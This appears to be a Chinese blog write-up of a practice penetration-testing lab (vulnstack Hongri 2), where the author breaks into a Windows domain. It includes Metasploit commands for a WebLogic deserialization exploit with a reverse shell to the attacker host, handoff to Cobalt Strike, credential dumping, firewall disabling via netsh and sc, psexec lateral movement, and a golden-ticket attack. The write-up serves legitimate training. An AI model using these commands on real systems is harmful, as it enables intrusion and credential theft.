前言

接着再打一个,顺便多总结一下横向移动的方法

靶机地址

http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

环境搭建

环境搭建好后的拓补图是这样

按照作者的提示配置一下文件

web:

外网ip - 192.168.111.80

内网ip - 10.10.10.80

PC:

外网ip - 192.168.111.201

内网ip - 10.10.10.201

DC:

内网ip - 10.10.10.10

web、PC、DC都处于同一域环境内,需要手动开启weblogic服务

开启服务
进入WEB中,来到C:OracleMiddlewareuser_projectsdomainsbase_domainbin 路径
使用管理员才能进去administrator/1qaz@WSX
以管理员权限执行startWebLogic

配置完成

外网打点

kali相当于是连接的外网,老规矩先扫一下内网存活主机

其中80和201是目标主机,因为之前配了环境嘛,80肯定有服务,就不浪费时间去试了,直接扫一下看看

几个常见的端口

80   web服务
135  RPC服务
139  SMB/CIFS服务,用于windows文件和打印机共享,可能爆破未授权访问 远程代码执行
445  SMB服务端口,可能存在永恒之蓝漏洞MS17-010
1433 SQL Server对外提供服务端口
7001/7002  Weblogic,可能存在Weblogic反序列化漏洞

更多可以看看参考文章里面的总结

我先访问一下80,一片空白,没啥发现,算了,我也不装了,知道有weblogic肯定是要用里面的漏洞,直接访问一下7001

也是404,我猜测可能路由不是直接访问,但已经知道有weblogic了,直接用WeblogicScan工具扫一下。

工具地址

https://github.com/rabbitmask/WeblogicScan

输入命令

python WeblogicScan.py -u 192.168.111.80 -p 7001

看到漏洞还不少
这里不在前期拿web权限浪费时间了,直接利用cve-2019-2729
再msf里面看看版本和利用规则

msfconsole
search CVE-2019-2725

直接利用

use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
show options        
set rhosts 192.168.111.80
set lhost 192.168.111.5       //kali的ip  
show targets                  //列出渗透攻击所有支持的目标平台
set target 1         
run

第一次运行这样是因为还没有创建会话,再run一次就好了

拿到shell了,现在就是提权,先用msf自带的命令简单提权一下

getuid
getsystem
getuid

提权失败了,还是扔cs里面来搞

msf派生cs

之前搞第一个靶场的时候总结过,直接照着步骤打,先创建一个监听器

然后回到msf里获取的shell,保存到后台,切换模块,设置options,run一下cs上线

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.111.5     # 创建cs监听的地址
set lport 5555               # cs监听端口
set session 2
exploit

cs上线后直接提权,监听器选择刚刚创建的

提权成功

内网渗透

先进行简单的信息收集
shell systeminfo看一下系统信息

补了三个,能利用的漏洞有很多,接着往后看
tasklist没有看到常见的杀毒软件, 那先不管

shell ipconfig/all

有DNS后缀,用net view看一下是不是有域

不知道什么原因,网上搜了一下发现是没有关防火墙,很多命令用不了,自己nc了,赶紧关掉防火墙

netsh advfirewall set allprofiles state off

还是不行。。。
算了,在试一下其他命令,现在的主要目的也是找到域控的ip
我又回去看了一下ipconfig那个命令

一般DNS服务器就是域控ip,再继续看看还能收集些什么不,既然net view看不了,那换个命令

shell net group "domain controllers" /domain        //查看域控信息

可以看到,然后ping一下,看看他ip

果然是你

后面看其他师傅用net computers命令也可以看到域内信息

net computers     //通过查询域控制器上的计算机帐户组来查找目标

这个还看的更直观

再用看一下域管理员信息

net group "domain admins" /domain   #查看域管理员用户

再扫一下端口

看到了139和445,思路一下就来了

直接用psexec打

先看能不能获取密码

hashdump
logonpasswords 

整个命令执行是顺利的,说明读取到了密码
整合看一下

SMB Beacon

还是尝试用smb
大概和第一次打的一样,之前没有太懂smb的原理,这回算是彻底理解了,总结一下吧

SMB Beacon原理

先看一张图

攻击者A与B相通,B可以访问到C,但A与C不通,对应到我们攻击时就是我们的C2服务器是A,目前控制了B,想进一步控制C但C不出网(先不说DNS),此时可以在B上利用SMB Beacon来控制C
利用条件:

1、B能访问到C的SMB端口,拥有SMB的管理员账号密码(一般在B上抓密码去碰撞)

2、B已被控制
说白了就是创建了一个b与c的会话,但是这个b的控制权是a

回到环境这里

创建好的是后面有四个圆圈那个
由于拿到了密码,直接用psexec,再解释一下为什么可以用psexec来打

psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口,只需要对方开启admin$共享和ipc$ (该共享默认开启,依赖于445端口)

更多可以看看参考链接
设置和第一次一样,这里就不赘述了,运行后直接就成功了

再想办法拿到另一台机器的权限,但我不知道他的用户是哪个。。然后看一下域控的用户(这里记录的所有用户),再看一下web的用户,排除就是pc的用户了

然后我一直试一直失败,但是又好像是执行了的

再然后,我突然想到利用psexec还必须要对方关了防火墙才可以,看了别的师傅的文章,可以先用ipc连接关闭防火墙后再进行psexec横向移动。

用sc创建计划任务,执行

sc \\10.10.10.201 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"    
sc \\10.10.10.201 start unablefirewall   

我还是失败了,麻住了
最后我在那乱试,usr选择Administrator的时候居然成功了

相当于是成功了,但是感觉学到的东西并不多,更多和第一次打法差距不大。这次当巩固一下知识吧,下次试试wmic的方法打其他靶机

权限维持

当我们在渗透过程中通过漏洞获取到目标主机权限后,往往会因为服务器管理员发现和修补漏洞而导致对服务器权限的丢失,所以权限维持就显得很重要了。

在dc里面用hashdump出krbtgt的hash值

然后logonpasswords 拿到明文,记录下dc的sid

关于sid:
 例:S-1-5-21-2062728589-3024857285-4110131050-500
  上面着一串是一个标准的SID。第一项S标示该字符串是SID;第二项是SID的版本号,这里版本号是1;第三项十标志符的颁发机构,Win2000之后的颁发机构都是5;最后是一系列资颁发机构前面3组是标志域,最后一组是标志域内的帐户和组。例子中的SID最后一段标志位是500,这代表了它是一个系统内置管理员帐号administrator的SID,又比如最后一段是501的话则是代表GUEST的帐号。有很多内置用户和组的SID相应标志位都是固定的,对应关系这里不再赘述。

如果不加最后一个500的话对应的是域的sid,加上则代表用户

然后在攻破的web主机上生成黄金票据

生成后执行一下

成功列出域控主机中c盘文件

参考文章

常见端口对应默认服务
meterpreter提权小结
PSEXEC使用原理
https://blog.csdn.net/qq_45780190/article/details/123156086
大佬文章 红日2
红日靶场2
https://drunkmars.top/2021/07/21/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA2/